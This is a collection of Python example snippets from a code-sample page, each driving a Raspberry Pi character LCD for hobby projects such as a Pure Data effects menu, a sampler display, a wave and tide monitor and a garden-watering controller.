                           pins_data=[d_d4, d_d5, d_d6, d_d7],
                           compat_mode=True)
        print("DBG: initialize OSC Server")
        self.server = OSC3.OSCServer((ip, port))
        print("DBG: initialize OSC Client")
        self.client = OSC3.OSCClient()

        # first appearance of the menu
        self.printMenu()

    def buttonPressed(self, pin):
        """Callback function for the single push button"""
        print("DBG: button pressed")
        if self.level > self.LEVEL_MIN:
            self.level = self.level - 1
            self.printMenu()

    def switchPressed(self, pin):
        """Callback function for pressing the internal button of the rotary encoder
    Args:
        pin: BCM pin number of the button
    """
        print("DBG: rotary button pressed")
        # try to connect to Pd if it has not been done successfully
        if (self.pd_is_connected == False):
            self.connectToPd()
        if self.level < self.LEVEL_MAX:
            self.level = self.level + 1
            # update all parameters of the effect
            self.updateParameters()
            self.printMenu()
        elif self.level == self.LEVEL_MAX:
            # change rotary encoder increment if switch pressed on parameter adjustment level
            if self.rotary_increment == 1:
                self.rotary_increment = 5
            elif self.rotary_increment == 5:
                self.rotary_increment = 10
            elif self.rotary_increment == 10:
                self.rotary_increment = 25
            elif self.rotary_increment == 25:
                self.rotary_increment = 1

    def rotaryChange(self, direction):
        """Callback function for turning the rotary encoder
    Args:
        direction: 1 - clockwise, -1 - counterclockwise
    """
        print("DBG: turned: ", str(direction))

        # level 0 is metering -> do nothing
        if self.level <= 0:
            return

        if self.level == 1:
            # effect selection
            new_fx_nr = self.fx_nr + direction
            if new_fx_nr in range(0, len(self.fx)):
                self.fx_nr = new_fx_nr
                self.param_nr = 0
                self.printMenu()

        elif self.level == 2:
            # parameter selection
            new_param_nr = self.param_nr + direction
            if new_param_nr in range(0, len(self.fx[self.fx_nr].params)):
                self.param_nr = new_param_nr
                self.printMenu()

        elif self.level == 3:
            # parameter adjustment
            current_fx = self.fx[self.fx_nr]
            keys = list(current_fx.params.keys())
            key = keys[self.param_nr]
            new_val = current_fx.params[key] + (direction *
                                                self.rotary_increment)

            if new_val < current_fx.MIN_VAL:
                new_val = current_fx.MIN_VAL
            elif new_val > current_fx.MAX_VAL:
                new_val = current_fx.MAX_VAL

            # on is handled differently
            if key == 'on':
                current_fx.params[key] = int(not current_fx.params[key])
            else:
                current_fx.params[key] = new_val

            self.setParameter()
            self.printMenu()

        else:
            print("ERROR: no such level!")

    def printMenu(self):
        print("DBG:", "lvl:", str(self.level))
        print("DBG:", "fx_nr:", str(self.fx_nr))
        print("DBG:", "param_nr:", str(self.param_nr))

        # metering
        if self.level == 0:
            self.lcd.clear()
            self.lcd.cursor_pos = (0, 0)
            self.lcd.write_string("Menu lvl 0")
            self.lcd.cursor_pos = (1, 0)
            self.lcd.write_string("Metering: TBA")

        # effect selection
        elif self.level == 1:
            self.lcd.clear()
            if self.fx_nr == len(self.fx) - 1:  # last entry
                on = self.fx[self.fx_nr].params['on']
                self.lcd.cursor_pos = (0, 0)
                self.lcd.write_string("*" + self.fx[self.fx_nr].name + " " +
                                      str(on))
                self.lcd.cursor_pos = (1, 0)
                self.lcd.write_string(self.SUPERLINE)
            else:
                self.lcd.cursor_pos = (0, 0)
                on_1 = self.fx[self.fx_nr].params['on']
                self.lcd.write_string("*" + self.fx[self.fx_nr].name + " " +
                                      str(on_1))
                self.lcd.cursor_pos = (1, 0)
                on_2 = self.fx[self.fx_nr + 1].params['on']
                self.lcd.write_string(" " + self.fx[self.fx_nr + 1].name +
                                      " " + str(on_2))

        # parameter selection and adjustment
        elif self.level == 2 or self.level == 3:
            params = self.fx[self.fx_nr].params
            keys = list(params.keys())
            key1 = keys[self.param_nr]

            if self.level == 2:
                crsr = "*"
            else:
                crsr = ">"

            self.lcd.clear()

            # last entry
            if self.param_nr == len(params) - 1:
                self.lcd.cursor_pos = (0, 0)
                self.lcd.write_string(crsr + key1 + ": " + str(params[key1]))
                self.lcd.cursor_pos = (1, 0)
                self.lcd.write_string(self.SUPERLINE)
            else:
                key2 = keys[self.param_nr + 1]
                self.lcd.cursor_pos = (0, 0)
                self.lcd.write_string(crsr + key1 + ": " + str(params[key1]))
                self.lcd.cursor_pos = (1, 0)
                self.lcd.write_string(" " + key2 + ": " + str(params[key2]))

        else:
            print("ERROR: no such menu level")

    def setParameter(self):
        msg = OSC3.OSCMessage()
        keys = list(self.fx[self.fx_nr].params.keys()
                    )  # TODO: this should be more efficient and convenient
        key = keys[self.param_nr]
        msg.setAddress("/pd/" + self.fx[self.fx_nr].name + "/set/" + key)
        msg.append(self.fx[self.fx_nr].params[key])
        self.client.send(msg)

    def getParameter(self, key):
        msg = OSC3.OSCMessage()
        msg.setAddress("/pd/" + self.fx[self.fx_nr].name + "/get/" + key)
        msg.append("bang")
        self.client.send(msg)

    def updateParameters(self):
        params = self.fx[self.fx_nr].params
        for key in self.fx[self.fx_nr].params:
            self.getParameter(key)

    def connectToPd(self):
        # it is possible to tell Pd the ip and the port to connect to
        print("DBG: Try to let Pd connect to menu's server")
        self.oscSend("/pd/connect", "bang")

    def handleGetParameter(self, addr, tags, data, client_address):
        # Messages to menu should be exclusively from Pd or to what it should be connected
        if self.pd_is_connected == False:
            self.pd_is_connected = True
        # safer, but more expensive -> search name of effect according to data
        key = data[-2]
        value = data[-1]
        self.fx[self.fx_nr].params[key] = int(value)

    def oscSend(self, address, data):
        msg = OSC3.OSCMessage()
        msg.setAddress(address)
        msg.append(data)
        self.client.send(msg)

    def run(self):
        self.r_encoder.start()
        self.button.start()
        print("connect menu OSC client to", self.pd_ip, "at port",
              str(self.pd_port))
        self.client.connect((self.pd_ip, self.pd_port))
        self.server.addMsgHandler('/menu', self.handleGetParameter)
        print("running...")
        self.server.serve_forever()

    def stop(self):
        self.r_encoder.stop()
        self.button.stop()
        GPIO.cleanup()
Ejemplo n.º 28
0
class LCD_SYS_2:
    def __init__(self):

        if gv.IS_DEBIAN:
            self.thread_sleep = 0.1
        else:
            self.thread_sleep = 0.2

        self.timeout_init = 3  # 3 sec
        self.timeout_init /= self.thread_sleep  # Adjust according to while loop sleep time
        self.timeout = self.timeout_init
        self.display_called = False

        if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD
                or gv.USE_I2C_16X2DISPLAY) and gv.IS_DEBIAN:

            import lcdcustomchars as lcdcc
            import RPi.GPIO as GPIO
            from RPLCD import CharLCD

            if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD):
                self.lcd = CharLCD(pin_rs=gv.GPIO_LCD_RS,
                                   pin_rw=None,
                                   pin_e=gv.GPIO_LCD_E,
                                   pins_data=[
                                       gv.GPIO_LCD_D4, gv.GPIO_LCD_D5,
                                       gv.GPIO_LCD_D6, gv.GPIO_LCD_D7
                                   ],
                                   numbering_mode=GPIO.BCM,
                                   cols=gv.LCD_COLS,
                                   rows=gv.LCD_ROWS,
                                   charmap='A00')

            elif (gv.USE_I2C_16X2DISPLAY):
                self.lcd = CharLCD('PCF8574', gv.I2C_16x2DISPLAY_ADDR)

            self.lcd.create_char(1, lcdcc.block)
            self.lcd.create_char(2, lcdcc.arrow_right_01)
            self.lcd.create_char(3, lcdcc.voice_button_on)
            self.lcd.create_char(4, lcdcc.voice_button_off)

        if (gv.USE_HD44780_16x2_LCD
                or gv.USE_HD44780_20x4_LCD) and gv.SYSTEM_MODE == 2:

            self.STRING_1 = ''
            self.STRING_2 = ''

        self.LCDThread = threading.Thread(target=self.lcd_main)
        self.LCDThread.daemon = True
        self.LCDThread.start()

        # time.sleep(0.5)
        # display('Start SamplerBox') # bug: the way autochorder is loaded causes issue
        # time.sleep(0.5)

    def lcd_main(self):

        if gv.IS_DEBIAN:
            self.lcd.clear()

        self.lcd_string("WELCOME TO", 1)
        self.lcd_string("-=SAMPLERBOX=-", 2)
        time.sleep(1)

        while True:
            if self.display_called:
                if self.timeout > 0:
                    self.timeout -= 1
                else:
                    self.display_called = False
                    self.tempDisplay = False

                self.lcd_string(self.STRING_1, 1)
                self.lcd_string(self.STRING_2, 2)

            time.sleep(self.thread_sleep)

    def lcd_string(self, message, line):

        message = message.center(gv.LCD_COLS, " ")
        if gv.IS_DEBIAN:
            global lcd
            lcd._set_cursor_pos((line - 1, 0))
            lcd.write_string(message)

    def display(self, s2):

        if gv.USE_ALSA_MIXER:
            s1 = "%s %s %d%% %+d" % (
                gv.autochorder.CHORD_NAMES[gv.autochorder.current_chord],
                gv.sample_mode, gv.global_volume, gv.globaltranspose)
        else:
            s1 = "%s %s %+d" % (
                gv.autochorder.CHORD_NAMES[gv.autochorder.current_chord],
                gv.sample_mode, gv.globaltranspose)
            pass
        if s2 == "":
            if gv.currvoice > 1: s2 = str(gv.currvoice) + ":"
            s2 += str(gv.basename) + str(" " * gv.LCD_COLS)

            if gv.nav.buttfunc > 0:
                s2 = s2[:gv.LCD_COLS -
                        2] + "*" + gv.nav.button_disp[gv.nav.buttfunc]
        else:
            s2 = s2 + ' ' * gv.LCD_COLS

        if gv.PRINT_LCD_MESSAGES:
            message = "\r%s || %s" % (s1[:gv.LCD_COLS], s2[:gv.LCD_COLS])
            # print "display: %s \\ %s" % (s1[:gv.LCD_COLS], s2[:gv.LCD_COLS])
            sys.stdout.write(message)
            sys.stdout.flush()
            if gv.USE_GUI:
                gui_message = message.replace('\r', '')
                gui_message = gui_message.replace(' || ', '\r')
                gv.gui.output['text'] = gui_message

        # lcd.message(s1 + " "*8 + "\n" + s2 + " "*15)
        # if gv.IS_DEBIAN:
        #     lcd.message(s1 + "\n" + s2)
        self.STRING_1 = str(s1[:gv.LCD_COLS])  # line 1
        self.STRING_2 = str(s2[:gv.LCD_COLS])  # line 2

        self.timeout = self.timeout_init
        self.display_called = True
Ejemplo n.º 29
0
lcd.cursor_mode = CursorMode.line
input('The cursor should now be a line. ')

lcd.write_string('Hello world!')
input('"Hello world!" should be on the LCD. ')

assert lcd.cursor_pos == (0, 12), 'cursor_pos should now be (0, 12)'

lcd.cursor_pos = (0, 15)
lcd.write_string('1')
lcd.cursor_pos = (1, 15)
lcd.write_string('2')
assert lcd.cursor_pos == (0, 0), 'cursor_pos should now be (0, 0)'
input('Lines 1 and 2 should now be labelled with the right numbers on the right side. ')

lcd.clear()
input('Display should now be clear, cursor should be at initial position. ')

lcd.cursor_pos = (0, 5)
lcd.write_string('12345')
input('The string should have a left offset of 5 characters. ')

lcd.write_shift_mode = ShiftMode.display
lcd.cursor_pos = (1, 5)
lcd.write_string('12345')
input('Both strings should now be at column 0. ')

lcd.write_shift_mode = ShiftMode.cursor
lcd.cursor_pos = (1, 5)
lcd.write_string(lcd.write_shift_mode.name)
input('The string "cursor" should now be on the second row, column 0. ')
Ejemplo n.º 30
0
class OceanMonitor:

    def __init__(self):
        # hardcoded PINOUT
        self.sensor_left 	= SonicSensor(trig_pin=16, echo_pin=12, numbering_mode=GPIO.BCM)
        self.sensor_right 	= SonicSensor(trig_pin=18, echo_pin=24, numbering_mode=GPIO.BCM)
        self.lcd 		= CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[5,7,8,25,26,19,13,6])
        self.rotary 		= RotaryEncoder(dt_pin=3, clk_pin=4, lower_limit=0, upper_limit=40)
        self.button 		= Button(pin=2)

        # parameters for filtering and smoothing
        # self.interval	= ??	# 
        self.window 	= 30    # for filters and running smoother
        self.threshold 	= 3  	# for filters
        self.weight 	= .3    # for exponential smoother
        self.iterations = 3    # for exponential smoother
        self.lag        = 10 	# for peak detection. Probably not needed as using a simple peak detector
        
        # memory for both sensors
        self.raw_data_left  = deque([-1]*self.window, maxlen=self.window)
        self.raw_data_right = deque([-1]*self.window, maxlen=self.window)
        self.data_left  = deque([-1]*self.window, maxlen=self.window)
        self.data_right = deque([-1]*self.window, maxlen=self.window)


        # parameters and variables for tide
        self.initial_water_level        = -1    # mean measured from past hour
        self.initial_median_dist        = 0     # man measured distance from past readings
        self.current_median_dist        = 0     # 
        self.tide_window                = 1001
        self.points_for_median_dist     = deque(maxlen=self.tide_window)   # used for adding points to running average
        
        # parameters and variables for speed
        self.sensor_spacing     = 10    # cm 
        self.delay              = .3    # time to do one iteration
        self.left_peak          = False
        self.counter            = -1    # used as unit of time

        # misc
        self.calibration_delay = 0  # s   time used after setting water level to move sensor into place
        self.line2 = u'Wave: None'

    
    '''
    A control loop in which user uses the rotary encoder to set the initial water level
    '''
    def set_initial_distance(self):
        self.rotary.start()
        self.lcd.clear()
        while self.rotary.get_count() == 0:
            self.lcd.clear()
            self.lcd.write_string(u'Use dial to set  water level    ')
            time.sleep(2)
            
            self.lcd.clear()
            self.lcd.write_string(u'press button     when set')
            time.sleep(1.5)

        while True :
            if self.button.pressed():
                break
            self.lcd.clear()
            self.lcd.write_string(u'{} cm'.format(self.rotary.get_count()*10))
            time.sleep(0.1)
        
        self.rotary.stop()
        self.initial_water_level = self.rotary.get_count()*10
        self.lcd.clear()
        self.lcd.write_string('Set level to     {} cm'.format(self.initial_water_level))


    '''
    a function that uses dsp on the collected data to filter outliers and smooth points
    '''
    
    '''
    Uses the number of iterations, spacing and delay of iteration to get the speed between two detected peaks
    '''
    def __calc_speed(self):
        return self.sensor_spacing / (self.counter*self.delay) # cm/s
    
    '''
    maintains a current water level using a windowed average
    '''
    def __update_median_dist(self, point1, point2):
        self.points_for_median_dist.append(point1)
        self.points_for_median_dist.append(point2)
        self.current_median_dist = np.median(self.points_for_median_dist)
    '''
    calulates the tide form the initial water level and the current mean
    '''
    def __get_tide(self):
        #print(self.initial_water_level , self.initial_median_dist , self.current_median_dist)

        return self.initial_water_level + self.initial_median_dist - self.current_median_dist
    
    '''
    An iteration of the main control loop.
    
    Samples both sensors and reports 
        if a wave has been detected
        the speed of an earlier detected wave
        or the tide as no waves have been detected

    ASSUMPUTIONS MADE: 
        a wave travels from left to right
        a waves peak and trough will not both pass the left sensor before the first passes the right sensor
    '''

    '''
    TODO:
    spin loops for synchronus behavior:
        max delay before left read
        max delay for read
        max delay before right read
        max delay for read
        max delay after right read
    '''
    def __iteration(self):
        # if there are no current waves detected then report tide

    
        # get data from left sensor
        self.raw_data_left.append( self.sensor_left.get_distance() )
        # perform outlier check
        self.data_left.append( rolling_median_filter_last_point(np.array(self.raw_data_left), threshold=self.threshold, replace_with=self.data_left[-1]) )
        # smooth on checked data
        clean_data_left = exponential_filter(self.data_left, weight=self.weight, iterations=self.iterations)

        # check if the previous was a peak
        was_previous_a_peak_left = recent_peak(clean_data_left, lag=self.lag)
        #print was_previous_a_peak_left, 
        #print self.raw_data_left[-1],
        #print self.data_left[-1], clean_data_left[-1],
        #print np.median(clean_data_left), self.current_median_dist
        #print (np.std(clean_data_left), clean_data_left[-2], np.median(clean_data_left))
        #for d in clean_data_left:
        #    print '{0:.2f},'.format(d),
        #print
           
        line1 = u'Tide: {0:5.1f} cm  '.format(self.__get_tide())

        if (was_previous_a_peak_left == -1):
            # it was a trough in the measurement then it is a wave peak
            if abs(clean_data_left[-self.lag-1]-self.current_median_dist) > 5:
                #for d in clean_data_left:
                #    print '{0:.2f},'.format(d),
                #print
           
                self.prev_peak_dist = clean_data_left[-2]
                # inform the world
                self.line2 = u'Wave: {0:5.1f} cm'.format(self.current_median_dist-clean_data_left[-self.lag-1])
                self.counter = 1
                self.left_peak = True
            else:
                pass #wave was too small, probably not a real wave
        self.lcd.clear()
        self.lcd.write_string(line1+self.line2)

        # get data from right sensor
        self.raw_data_right.append( self.sensor_right.get_distance() )
        # perform outlier check
        self.data_right.append( rolling_median_filter_last_point(np.array(self.raw_data_right), threshold=self.threshold, replace_with=self.data_right[-1]) )
        # smooth on checked data
        clean_data_right = exponential_filter(self.data_right, weight=self.weight, iterations=self.iterations)

        # check if the previous was a peak
        was_previous_a_peak_right = recent_peak(clean_data_right, lag=self.lag)

        if (was_previous_a_peak_right == -1 and self.left_peak):
            speed = self.__calc_speed()
            self.line2 = u'Wave: {0:5.1f} cm/s'.format(self.counter)
            self.left_peak = False
    
        self.__update_median_dist(clean_data_left[-1], clean_data_right[-1])
        self.counter += 1


    '''
    setups and runs the the sensor
    '''
    def run(self):
        try:
            # initial distance setting
            print('setting initial distance')
            self.set_initial_distance()
            
            # delay calibration
            print('delaying calibration')
            for i in range(self.calibration_delay):
                self.lcd.clear()
                self.lcd.write_string('calibrating in {}'.format(self.calibration_delay-i))
                time.sleep(1)

            # fill the queues withdata
            print('calibrating')
            self.lcd.clear()
            self.lcd.write_string('CALIBRATING:    ignore LCD out')
            time.sleep(1)
            
            for i in range(100):
                self.__iteration()

            self.initial_median_dist = self.current_median_dist

            self.lcd.clear()
            self.lcd.write_string('CALIBRATING:    Done!')
            self.line2 = u'Wave: None'
            time.sleep(1)

            # run main event loop
            print('running')
            while True:
                self.__iteration()
                #time.sleep(1)
        
        except KeyboardInterrupt:
            pass

        GPIO.cleanup()
Ejemplo n.º 31
0
from RPLCD import CharLCD
import RPi.GPIO as GPIO
import time

from pad4pi import rpi_gpio


pins_data=[9, 10, 22, 21]
pins_data2=[21,22,10,9]
pin_e=11
pin_rs=7

GPIO.setmode(GPIO.BCM)
GPIO.setup(pin_rs, GPIO.OUT)
GPIO.setup(pin_e, GPIO.OUT)
for pin in pins_data:
    GPIO.setup(pin, GPIO.OUT)
    GPIO.output(pin, True)

lcd = CharLCD(cols=16, rows=2, pin_rs=7, pin_e=11, pins_data=[9, 10, 21, 22], numbering_mode=GPIO.BCM)

lcd.cursor_pos = (0,0)
lcd.write_string(u'Pinjam/Kembali?')
lcd.cursor_pos = (1,0)
lcd.write_string(u'1:P 2:K 3:Back')
time.sleep(5)
lcd.clear()
GPIO.cleanup()
Ejemplo n.º 32
0
class Watering:
    def __init__(self):
        # Watering variables
        self.daysBetweenWatering = 3  # Number of days between one watering
        self.startTime = [23, 50]  # [hh, mm]
        self.durationOfWatering = 40  # in minutes
        self.modeList = ['AUTO', 'MANU']  # List of available modes
        self.currentModeSelected = 0
        self.lastWatering = None  # Last date of watering
        self.ongoingWatering = False  # Is the watering on going or not
        self.endWateringDate = None  # Contains the datetime of the end of the current watering

        # Emergency
        self.emergency_on = False

        # Process
        self.watering_process = None
        self.emergency_process = None

        # Menu
        self.currentMenuSelected = 0
        self.configMenuSelected = 0

        self.HOME_MENU = 0
        self.CONFIG_MENU = 1
        self.CONFIG_DETAILS_MENU = 2
        self.EMERGENCY_MENU = 3
        self.mainMenu = {
            0: self.display_menu_home,
            1: self.display_config_menu,
            2: self.display_config_details,
            3: self.display_emergency
        }

        self.START_STOP_WATERING_CONFIG_MENU = 0
        self.DAYS_OF_WATERING_CONFIG_MENU = 1
        self.START_WATERING_AT_CONFIG_MENU = 2
        self.DURATION_OF_WATERING_CONFIG_MENU = 3
        self.MODE_SELECTION_CONFIG_MENU = 4
        self.CHANGE_DAY_DATE_CONFIG_MENU = 5
        self.CHANGE_MONTH_DATE_CONFIG_MENU = 6
        self.CHANGE_YEAR_DATE_CONFIG_MENU = 7
        self.CHANGE_HOUR_DATE_CONFIG_MENU = 8
        self.CHANGE_MINUTE_DATE_CONFIG_MENU = 9
        self.configMenu = {
            0: (self.display_menu_start_stop_watering, "Demarrer/Arreter"),
            1: (self.display_menu_watering_days, "Jours d'arro."),
            2: (self.display_menu_start_time, "Heure de debut"),
            3: (self.display_menu_duration, "Duree d'arro."),
            4: (self.display_menu_mode, "Mode d'arro."),
            5: (self.display_menu_change_day_date, 'Changer le jour'),
            6: (self.display_menu_change_month_date, 'Changer le mois'),
            7: (self.display_menu_change_year_date, 'Changer l\'annee'),
            8: (self.display_menu_change_hour_date, 'Changer l\'heure'),
            9: (self.display_menu_change_minute_date, 'Changer les min')
        }

        # LCD setup and startup
        self.last_activity = datetime.datetime.today()
        self.time_before_switch_off = 60 * 5  # In seconds
        self.lcd = CharLCD(pin_backlight=18, backlight_mode=BacklightMode.active_high, pin_rw=None)
        self.lcd.backlight = True
        self.lcd.cursor_pos = (0, 0)
        self.lcd.write_string('Demarrage en cours..')
        self.lcd.cursor_pos = (1, 0)
        self.lcd.write_string('Initialisation des')
        self.lcd.cursor_pos = (2, 0)
        self.lcd.write_string('parametres ')
        self.lcd.cursor_mode = CursorMode.blink

        # Setup the GPIOs
        self.setup_gpio(param.GPIO)

        # Test if all LEDs work
        self.test_setup()

        # Clean the lcd
        self.lcd.clear()
        self.lcd.cursor_mode = CursorMode.hide

        # Put the relay to the off position
        GPIO.output(param.GPIO['relay'][1], GPIO.LOW)
        self.start()

    # GPIO configuration
    def setup_gpio(self, array):
        GPIO.setwarnings(False)
        GPIO.setmode(GPIO.BOARD)

        # v[0] contains the key
        # v[1] contains the value
        for v in array.items():
            if isinstance(v[1], dict):
                self.setup_gpio(v[1])
            else:
                if v[1][0].upper() == "IN":
                    GPIO.setup(v[1][1], GPIO.IN, pull_up_down=GPIO.PUD_UP)

                    # Define callback method
                    if v[0] in ['left', 'right']:
                        GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.left_right_btn_pressed,
                                              bouncetime=500)
                    elif v[0] in ['up', 'bottom']:
                        GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.up_bottom_btn_pressed,
                                              bouncetime=500)
                    elif v[0] == 'emergency':
                        GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.emergency_btn_pressed,
                                              bouncetime=2000)
                else:
                    GPIO.setup(v[1][1], GPIO.OUT)

    # Test if all LEDs work
    def test_setup(self):
        GPIO.output(param.GPIO['led']['green'][1], GPIO.HIGH)
        GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH)
        time.sleep(5)
        GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW)
        GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)

    def start(self):
        while True:
            date_diff = datetime.datetime.today() - self.last_activity
            if self.lcd.display_enabled and date_diff.seconds > self.time_before_switch_off and self.currentMenuSelected != self.CONFIG_DETAILS_MENU:
                self.switch_off_lcd()
                self.currentMenuSelected = self.HOME_MENU
            elif not self.lcd.display_enabled and date_diff.seconds < self.time_before_switch_off:
                self.switch_on_lcd()
                self.display_menu()
            else:
                # Displays the menu only if the screen is on
                self.display_menu()

            # Calculates if it has to water or not
            # If mode AUTO
            if self.modeList[self.currentModeSelected] == "AUTO" and self.has_to_water() and not self.ongoingWatering:
                self.start_watering()
            # Stops the watering after duration specified
            elif self.ongoingWatering and self.endWateringDate < datetime.datetime.today():
                self.stop_watering()
            time.sleep(.5)

    # Changes the currentMenuSelected
    def left_right_btn_pressed(self, channel):
        if not self.lcd.display_enabled:
            self.last_activity = datetime.datetime.today()
            return
        self.last_activity = datetime.datetime.today()

        if self.emergency_on:
            return

        if param.GPIO['btn']['right'][1] == channel:
            self.currentMenuSelected = self.currentMenuSelected + 1 if self.currentMenuSelected < len(
                self.mainMenu) - 2 else 0
        elif param.GPIO['btn']['left'][1] == channel:
            self.currentMenuSelected = self.currentMenuSelected - 1 if self.currentMenuSelected > 0 else 0

    # Changes the value of the corresponding currentMenuSelected
    def up_bottom_btn_pressed(self, channel):
        if not self.lcd.display_enabled:
            self.last_activity = datetime.datetime.today()
            return
        self.last_activity = datetime.datetime.today()

        # Change the current selected config menu
        if self.currentMenuSelected == self.CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.configMenuSelected = self.configMenuSelected - 1 if self.configMenuSelected > 0 else len(
                    self.configMenu) - 1
            if param.GPIO['btn']['bottom'][1] == channel:
                self.configMenuSelected = self.configMenuSelected + 1 if self.configMenuSelected < len(
                    self.configMenu) - 1 else 0

        # Adds or removes days between watering
        elif self.configMenuSelected == self.DAYS_OF_WATERING_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.daysBetweenWatering = self.daysBetweenWatering + 1 if self.daysBetweenWatering < 7 else 1
            if param.GPIO['btn']['bottom'][1] == channel:
                self.daysBetweenWatering = self.daysBetweenWatering - 1 if self.daysBetweenWatering > 1 else 7

        # Defines the time when the watering must start
        elif self.configMenuSelected == self.START_WATERING_AT_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.add_start_time()
            if param.GPIO['btn']['bottom'][1] == channel:
                self.remove_start_time()

        # Adds or removes the duration of watering
        elif self.configMenuSelected == self.DURATION_OF_WATERING_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.durationOfWatering += 10
            if param.GPIO['btn']['bottom'][1] == channel and self.durationOfWatering > 10:
                self.durationOfWatering -= 10

        # Changes the current mode
        elif self.configMenuSelected == self.MODE_SELECTION_CONFIG_MENU:
            length = len(self.modeList)
            
            if param.GPIO['btn']['up'][1] == channel:
                self.currentModeSelected = self.currentModeSelected + 1 if self.currentModeSelected < length - 1 else 0
            if param.GPIO['btn']['bottom'][1] == channel:
                self.currentModeSelected = self.currentModeSelected - 1 if self.currentModeSelected > 0 else length - 1

        # Change the current datetime of the OS
        elif self.configMenuSelected == self.CHANGE_DAY_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 day"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 day"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_MONTH_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 month"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 month"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_YEAR_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 year"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 year"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_HOUR_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 hour"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 hour"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_MINUTE_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 minute"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 minute"])

            subprocess.call(["sudo", "hwclock", "-w"])

    # Stops or start the emergency
    def emergency_btn_pressed(self, channel):
        return
        self.last_activity = datetime.datetime.today()

        # Stops
        if self.emergency_on:
            if self.emergency_process.is_alive():
                self.emergency_process.terminate()

            self.emergency_on = False
            self.currentMenuSelected = self.HOME_MENU
            GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)
        # Starts
        else:
            self.emergency_on = True
            self.currentMenuSelected = self.EMERGENCY_MENU
            self.stop_watering()

            # If an old process exists -> terminate
            if self.emergency_process:
                if self.emergency_process.is_alive():
                    self.emergency_process.terminate()

                self.emergency_process = None

            # Creation of the new process
            self.emergency_process = multiprocessing.Process(target=self.start_emergency)
            self.emergency_process.start()

    # Adds 10 minutes to the start time
    def add_start_time(self):
        if self.startTime[0] == 23 and self.startTime[1] == 50:
            self.startTime = [0, 0]
        elif self.startTime[1] == 50:
            self.startTime[0] += 1
            self.startTime[1] = 0
        else:
            self.startTime[1] += 10

    # Removes 10 minutes to the start time
    def remove_start_time(self):
        if self.startTime[0] == 0 and self.startTime[1] == 0:
            self.startTime = [23, 50]
        elif self.startTime[1] == 00:
            self.startTime[0] -= 1
            self.startTime[1] = 50
        else:
            self.startTime[1] -= 10

    # Returns the time 23h30
    def display_time(self):
        hours = str(self.startTime[0]) if self.startTime[0] > 9 else "0" + str(self.startTime[0])
        minutes = str(self.startTime[1]) if self.startTime[1] > 9 else "0" + str(self.startTime[1])
        return hours + "h" + minutes

    # Displays the main menu
    def display_menu(self):
        self.mainMenu.get(self.currentMenuSelected)()

    # Display the menu to the LCD
    def display_2_lcd(self, lines):
        self.lcd.cursor_mode = CursorMode.hide
        blank_line = '{:^20}'.format(' ')

        for key, value in enumerate(lines):
            self.lcd.cursor_pos = (key, 0)
            if value:
                self.lcd.write_string('{:20}'.format(value))
            else:
                self.lcd.write_string(blank_line)

    # Displays the home menu
    def display_menu_home(self):
        self.configMenuSelected = 0

        today = datetime.datetime.today()

        line1 = '{:^20}'.format(today.strftime("%d/%m/%Y %H:%M"))
        line2 = '{:^20}'.format('Mode ' + self.modeList[self.currentModeSelected])
        line4 = None

        # If watering ongoing
        if self.ongoingWatering:
            line3 = 'Arrosage en cours   '
            line4 = '{:^20}'.format(self.end_watering_in())
        # If mode MANU
        elif self.modeList[self.currentModeSelected] == "MANU":
            line3 = 'Pas d\'arro programme'
        # If mode AUTO
        else:
            line3 = 'Proch. arro. dans:  '
            line4 = '{:^20}'.format(self.next_watering_in())

        self.display_2_lcd([line1, line2, line3, line4])

    # Displays the details of the selected configuration
    def display_config_details(self):
        self.configMenu[self.configMenuSelected][0]()

    def display_menu_start_stop_watering(self):
        if self.ongoingWatering:
            # If the ON mode is selected -> cant stop the watering
            if self.modeList[self.currentModeSelected] == 'ON':
                self.display_2_lcd([
                    "Impossible d'arreter",
                    "l'arrosage en cours",
                    '{:^20}'.format("Mode ON active"),
                    None
                ])
            else:
                self.stop_watering()
                self.display_2_lcd([
                    None,
                    '{:^20}'.format("Arret de l'arrosage"),
                    '{:^20}'.format("en cours..."),
                    None
                ])
        else:
            # If the OFF mode is selected -> cant start the watering
            if self.modeList[self.currentModeSelected] == 'OFF':
                self.display_2_lcd([
                    "Impossible d'allumer",
                    "l'arrosage",
                    '{:^20}'.format("Mode OFF active"),
                    None
                ])
            else:
                self.start_watering()
